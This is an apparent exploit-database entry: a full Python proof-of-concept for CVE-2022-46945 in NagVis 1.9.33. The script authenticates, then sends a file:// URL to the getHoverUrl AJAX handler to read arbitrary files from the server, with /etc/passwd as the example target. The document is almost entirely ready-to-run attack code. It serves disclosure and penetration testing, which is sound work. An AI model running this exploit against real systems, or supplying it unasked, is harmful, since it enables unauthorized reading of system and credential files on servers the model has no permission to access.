NagVis 1.9.33 - Arbitrary File Read

# Exploit Title: NagVis 1.9.33 - Arbitrary File Read
# Date: 03/12/2024
# Exploit Author: David Rodríguez a.k.a. xerosec
# Vendor Homepage: https://www.nagvis.org/
# Software Link: https://www.nagvis.org/downloads/archive
# Version: 1.9.33
# Tested on: Linux
# CVE: CVE-2022-46945

import requests
import argparse
import json
from urllib.parse import urljoin

def authenticate(target_url, username, password):
    url = urljoin(target_url, '/nagvis/frontend/nagvis-js/index.php')
    headers = {"User-Agent": "Mozilla/5.0", "Content-Type": "application/x-www-form-urlencoded"}
    data = {"_username": username, "_password": password, "submit": "Login"}

    try:
        response = requests.post(url, headers=headers, data=data)
        if response.status_code == 200 and "Set-Cookie" in response.headers:
            print("[✔] Authentication successful.")
            return response.headers["Set-Cookie"]
        print(f"[✘] Authentication failed. Status code: {response.status_code}")
    except Exception as e:
        print(f"[✘] Request error: {e}")
    return None

def exploit(target_url, session_cookie, file_path):
    url = urljoin(target_url, '/nagvis/server/core/ajax_handler.php')
    headers = {"User-Agent": "Mozilla/5.0", "Cookie": session_cookie}
    params = {"mod": "General", "act": "getHoverUrl", "url[]": f"file://{file_path}"}

    try:
        response = requests.get(url, headers=headers, params=params)
        if response.status_code == 200:
            print("[✔] Exploitation successful. File content:\n")
            display_file_content(response.text)
        else:
            print(f"[✘] Exploitation failed. Status code: {response.status_code}")
    except Exception as e:
        print(f"[✘] Request error: {e}")

def display_file_content(raw_response):
    try:
        data = json.loads(raw_response)
        if isinstance(data, list) and len(data) > 0 and isinstance(data[0], dict) and "code" in data[0]:
            content = data[0]["code"]
            # Decodificar escapes de manera segura
            content = content.encode('utf-8').decode('unicode_escape')
            print(content.strip())
        else:
            print("[✘] Unexpected JSON structure.")
    except json.JSONDecodeError as jde:
        print(f"[✘] JSON decoding error: {jde}")
    except Exception as e:
        print(f"[✘] Unexpected error during output processing: {e}")

def main():
    parser = argparse.ArgumentParser(description="Exploit for CVE-2022-46945 (File Read Vulnerability)")
    parser.add_argument("-t", "--target", required=True, help="Target base URL (e.g., http://10.0.2.132)")
    parser.add_argument("-u", "--username", required=True, help="Username for authentication")
    parser.add_argument("-p", "--password", required=True, help="Password for authentication")
    parser.add_argument("-f", "--file", required=True, help="File path to read (e.g., /etc/passwd)")

    args = parser.parse_args()

    session_cookie = authenticate(args.target, args.username, args.password)
    if session_cookie:
        exploit(args.target, session_cookie, args.file)

if __name__ == "__main__":
    main()